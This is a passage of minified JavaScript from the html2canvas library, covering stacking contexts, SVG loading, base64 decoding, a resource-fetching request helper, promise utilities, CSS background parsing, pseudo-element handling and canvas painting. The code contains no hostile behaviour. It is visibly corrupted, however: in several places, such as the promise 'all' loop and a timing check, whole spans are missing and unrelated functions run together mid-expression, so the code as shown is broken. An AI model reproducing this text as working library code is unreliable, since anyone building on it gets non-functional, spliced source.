le(t,e,n,r){T.call(this,n,r),this.ownStacking=t,this.contexts=[],this.children=[],this.opacity=(this.parent?this.parent.stack.opacity:1)*e}function de(t){this.rangeBounds=this.testRangeBounds(t),this.cors=this.testCORS(),this.svg=this.testSVG()}function fe(t){this.src=t,this.image=null;var e=this;this.promise=this.hasFabric().then(function(){return e.isInline(t)?Promise.resolve(e.inlineFormatting(t)):be(t)}).then(function(t){return new Promise(function(n){html2canvas.fabric.loadSVGFromString(t,e.createCanvas.call(e,n))})})}function ge(t){var e,n,r,i,o,s,a,c,h="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",u=t.length,p="";for(e=0;u>e;e+=4)n=h.indexOf(t[e]),r=h.indexOf(t[e+1]),i=h.indexOf(t[e+2]),o=h.indexOf(t[e+3]),s=n<<2|r>>4,a=(15&r)<<4|i>>2,c=(3&i)<<6|o,p+=64===i?String.fromCharCode(s):64===o||-1===o?String.fromCharCode(s,a):String.fromCharCode(s,a,c);return p}function me(t){this.src=t,this.image=null;var e=this;this.promise=this.hasFabric().then(function(){return new Promise(function(n){html2canvas.fabric.parseSVGDocument(t,e.createCanvas.call(e,n))})})}function ye(t,e){T.call(this,t,e)}function ve(t,e,n){return t.length>0?e+n.toUpperCase():void 0}function we(t){f.apply(this,arguments),this.type="linear"===t.args[0]?this.TYPES.LINEAR:this.TYPES.RADIAL}function be(t){return new Promise(function(e,n){var r=new XMLHttpRequest;r.open("GET",t),r.onload=function(){200===r.status?e(r.responseText):n(new Error(r.statusText))},r.onerror=function(){n(new Error("Network Error"))},r.send()})}function xe(t,n){pe.apply(this,arguments),this.canvas=e.createElement("canvas"),this.canvas.width=t,this.canvas.height=n,this.ctx=this.canvas.getContext("2d"),this.taintCtx=e.createElement("canvas").getContext("2d"),this.ctx.textBaseline="bottom",this.variables={},E("Initialized CanvasRenderer")}if(!function(){var n,r,i,o;!function(){var t={},e={};n=function(e,n,r){t[e]={deps:n,callback:r}},o=i=r=function(n){function i(t){if("."!==t.charAt(0))return t;for(var e=t.split("/"),r=n.split("/").slice(0,-1),i=0,o=e.length;o>i;i++){var s=e[i];if(".."===s)r.pop();else{if("."===s)continue;r.push(s)}}return r.join("/")}if(o._eak_seen=t,e[n])return e[n];if(e[n]={},!t[n])throw new Error("Could not find module "+n);for(var s,a=t[n],c=a.deps,h=a.callback,u=[],p=0,l=c.length;l>p;p++)u.push("exports"===c[p]?s={}:r(i(c[p])));var d=h.apply(this,u);return e[n]=s||d}}(),n("promise/all",["./utils","exports"],function(t,e){"use strict";function n(t){var e=this;if(!r(t))throw new TypeError("You must pass an array to all.");return new e(function(e,n){function r(t){return function(e){o(t,e)}}function o(t,n){a[t]=n,0===--c&&e(a)}var s,a=[],c=t.length;0===c&&e([]);for(var h=0;hs^"contain"===o[0]?{width:t.height*a,height:t.height}:{width:t.width,height:t.width/a}}r=parseInt(o[0],10)}return i="auto"===o[0]&&"auto"===o[1]?e.height:"auto"===o[1]?r/e.width*e.height:I(o[1])?t.height*parseFloat(o[1])/100:parseInt(o[1],10),"auto"===o[0]&&(r=i/e.height*e.width),{width:r,height:i}},T.prototype.parseBackgroundPosition=function(t,e,n,r){var i,o,s=this.cssList("backgroundPosition",n);return i=I(s[0])?(t.width-(r||e).width)*(parseFloat(s[0])/100):parseInt(s[0],10),o="auto"===s[1]?i/e.width*e.height:I(s[1])?(t.height-(r||e).height)*parseFloat(s[1])/100:parseInt(s[1],10),"auto"===s[0]&&(i=o/e.height*e.width),{left:i,top:o}},T.prototype.parseBackgroundRepeat=function(t){return this.cssList("backgroundRepeat",t)[0]},T.prototype.parseTextShadows=function(){var t=this.css("textShadow"),e=[];if(t&&"none"!==t)for(var n=t.match(this.TEXT_SHADOW_PROPERTY),r=0;n&&rDate.now()?this.asyncRenderer(t,e,n):setTimeout(ie(function(){this.asyncRenderer(t,e)},this),0)},P.prototype.createPseudoHideStyles=function(t){var e=t.createElement("style");e.innerHTML="."+this.pseudoHideClass+':before { content: "" !important; display: none !important; }.'+this.pseudoHideClass+':after { content: "" !important; display: none !important; }',t.body.appendChild(e)},P.prototype.getPseudoElements=function(t){var e=[[t]];if(t.node.nodeType===Node.ELEMENT_NODE){var n=this.getPseudoElement(t,":before"),r=this.getPseudoElement(t,":after");n&&(t.node.insertBefore(n[0].node,t.node.firstChild),e.push(n)),r&&(t.node.appendChild(r[0].node),e.push(r)),(n||r)&&(t.node.className+=" "+this.pseudoHideClass)}return ce(e)},P.prototype.getPseudoElement=function(t,n){var r=t.computedStyle(n);if(!r||!r.content||"none"===r.content||"-moz-alt-content"===r.content||"none"===r.display)return null;for(var i=he(r.content),o="url"===i.substr(0,3),s=e.createElement(o?"img":"html2canvaspseudoelement"),a=new T(s,t),c=r.length-1;c>=0;c--){var h=A(r.item(c));s.style[h]=r[h]}if(s.className=this.pseudoHideClass,o)return s.src=S(i)[0].args[0],[a];var u=e.createTextNode(i);return s.appendChild(u),[a,new ye(u,a)]},P.prototype.getChildren=function(t){return ce([].filter.call(t.node.childNodes,Q).map(function(e){var n=[e.nodeType===Node.TEXT_NODE?new ye(e,t):new T(e,t)].filter(ae);return e.nodeType===Node.ELEMENT_NODE&&n.length&&"TEXTAREA"!==e.tagName?n[0].isElementVisible()?n.concat(this.getChildren(n[0])):[]:n},this))},P.prototype.newStackingContext=function(t,e){var n=new le(e,t.cssFloat("opacity"),t.node,t.parent);n.visible=t.visible;var r=e?n.getParentStack(this):n.parent.stack;r.contexts.push(n),t.stack=n},P.prototype.createStackingContexts=function(){this.nodes.forEach(function(t){te(t)&&(this.isRootElement(t)||re(t)||q(t)||this.isBodyWithTransparentRoot(t)||t.hasTransform())?this.newStackingContext(t,!0):te(t)&&($(t)&&V(t)||K(t)||J(t))?this.newStackingContext(t,!1):t.assignStack(t.parent.stack)},this)},P.prototype.isBodyWithTransparentRoot=function(t){return"BODY"===t.node.nodeName&&this.renderer.isTransparent(t.parent.css("backgroundColor"))},P.prototype.isRootElement=function(t){return null===t.parent},P.prototype.sortStackingContexts=function(t){t.contexts.sort(ne),t.contexts.forEach(this.sortStackingContexts,this)},P.prototype.parseTextBounds=function(t){return function(e,n,r){if("none"!==t.parent.css("textDecoration").substr(0,4)||0!==e.trim().length){if(this.support.rangeBounds&&!t.parent.hasTransform()){var i=r.slice(0,n).join("").length;return this.getRangeBounds(t.node,i,e.length)}if(t.node&&"string"==typeof t.node.data){var o=t.node.splitText(e.length),s=this.getWrapperBounds(t.node,t.parent.hasTransform());return t.node=o,s}}else(!this.support.rangeBounds||t.parent.hasTransform())&&(t.node=t.node.splitText(e.length));return{}}},P.prototype.getWrapperBounds=function(t,e){var n=t.ownerDocument.createElement("html2canvaswrapper"),r=t.parentNode,i=t.cloneNode(!0);n.appendChild(t.cloneNode(!0)),r.replaceChild(n,t);var o=e?M(n):B(n);return r.replaceChild(i,n),o},P.prototype.getRangeBounds=function(t,e,n){var r=this.range||(this.range=t.ownerDocument.createRange());return r.setStart(t,e),r.setEnd(t,e+n),r.getBoundingClientRect()},P.prototype.parse=function(t){var e=t.contexts.filter(H),n=t.children.filter(te),r=n.filter(Z(J)),i=r.filter(Z($)).filter(Z(z)),o=n.filter(Z($)).filter(J),s=r.filter(Z($)).filter(z),a=t.contexts.concat(r.filter($)).filter(V),c=t.children.filter(ee).filter(X),h=t.contexts.filter(j);e.concat(i).concat(o).concat(s).concat(a).concat(c).concat(h).forEach(function(t){this.renderQueue.push(t),Y(t)&&(this.parse(t),this.renderQueue.push(new N))},this)},P.prototype.paint=function(t){try{t instanceof N?this.renderer.ctx.restore():ee(t)?this.paintText(t):this.paintNode(t)}catch(e){E(e)}},P.prototype.paintNode=function(t){Y(t)&&(this.renderer.setOpacity(t.opacity),this.renderer.ctx.save(),t.hasTransform()&&this.renderer.setTransform(t.parseTransform()));var e=t.parseBounds(),n=this.parseBorders(t);switch(this.renderer.clip(n.clip,function(){this.renderer.renderBackground(t,e,n.borders.map(se))},this),this.renderer.renderBorders(n.borders),t.node.nodeName){case"svg":var r=this.images.get(t.node);r?this.renderer.renderImage(t,e,n,r):E("Error loading